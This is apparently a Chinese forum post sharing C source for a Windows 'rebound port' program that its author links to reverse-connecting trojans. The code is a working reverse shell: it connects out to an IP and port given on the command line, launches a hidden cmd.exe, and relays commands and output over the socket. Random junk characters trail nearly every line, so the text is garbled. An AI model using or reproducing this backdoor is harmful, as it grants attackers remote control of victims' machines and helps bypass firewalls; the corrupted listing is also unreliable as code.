这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 X(!AI|6Bt
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/* ============================== loeLj4""
Rebound port in Windows NT 20/P M9
By wind,2006/7 sm2p$3v
===============================*/ qX
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#include =nvAOvP{?
#include *>GIk`!wM
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#pragma comment(lib,"wsock32.lib") q: Bt]2x
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void OutputShell(); E+m]aYu"
SOCKET sClient; 9B+ zJ Vte
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; V#zhGAMy.
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void main(int argc,char **argv) {
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WSADATA stWsaData; a(}VA|l
int nRet; + q
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SOCKADDR_IN stSaiClient,stSaiServer; A]Q1&qM%
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if(argc != 3) vJTfo#C|
{ c#{Ywh
printf("Useage:\n\rRebound DestIP DestPort\n"); ~mXZfG/D
return; ^A *]&%(h
} (:.Q\!aZ1
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WSAStartup(MAKEWORD(2,2),&stWsaData); @ate49W
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >9o,S3
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stSaiClient.sin_family = AF_INET; (#j2P0B
stSaiClient.sin_port = htons(0); 4f4 i1i:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O1x0[sy
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ']d!?>C@o
{ T6h;Y
printf("Bind Socket Failed!\n"); 4V u'r?
return; _W@,@hOH
} fa!3/X+
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stSaiServer.sin_family = AF_INET; f
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ).0V%}>
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F!OOrW]p0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,+ns
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{ ;[{:'^n
printf("Connect Error!"); z:Xj_ `p
return; N,j>;x3xT
} !lQ#sL`
OutputShell(); Z?~gQ
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} [{S;%Jj*X/
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void OutputShell() Sni&?tcY
{ jIAW-hc]
char szBuff[1024]; ,}9f(`
SECURITY_ATTRIBUTES stSecurityAttributes; js:C
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OSVERSIONINFO stOsversionInfo; do:QH.q8)
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tA`mD >[
STARTUPINFO stStartupInfo; *.kj]BoO
char *szShell; P]pmt1a
PROCESS_INFORMATION stProcessInformation; O"
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unsigned long lBytesRead; tWpl`HH
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); gCv"9j<j
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8ivRp<9
stSecurityAttributes.lpSecurityDescriptor = 0; :D"@6PC]
stSecurityAttributes.bInheritHandle = TRUE; )^t!|*1LA
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); IXGW2z;
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [ 3$.*
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \e?.hmq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2Ryp@c&r^
stStartupInfo.wShowWindow = SW_HIDE; uew0R;+oa
stStartupInfo.hStdInput = hReadPipe; ;EK(b
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Y.DwtfE
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GetVersionEx(&stOsversionInfo); }Q/G
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switch(stOsversionInfo.dwPlatformId) 'n~fR]h}
{ sS
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case 1: OI~}e,[2z
szShell = "command.com"; ]}BB/KQy^
break; T1l&B
default: ?V#Gx>\
szShell = "cmd.exe"; &(gm4bTg
break; vGXWwQ.1Tp
} n4^*h4J7
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); QZ?d2PC=>?
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send(sClient,szMsg,77,0); |}Q( F+cL
while(1) -Bj.hx*
{ f.@Xjf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); BRe{1i 6
if(lBytesRead) R"NGJu9
{ >OT\~C
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S,lxM,DL&
send(sClient,szBuff,lBytesRead,0); doLkrEm&
} Ymq3ty]Pe
else dY1J<L}")
{ aIQOs
lBytesRead=recv(sClient,szBuff,1024,0); ;U
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if(lBytesRead<=0) break; e[s5N:IUd3
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /4yOs@#
} 0[.3Es:_
} 8GY.){d!l
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return; l$M$o(
}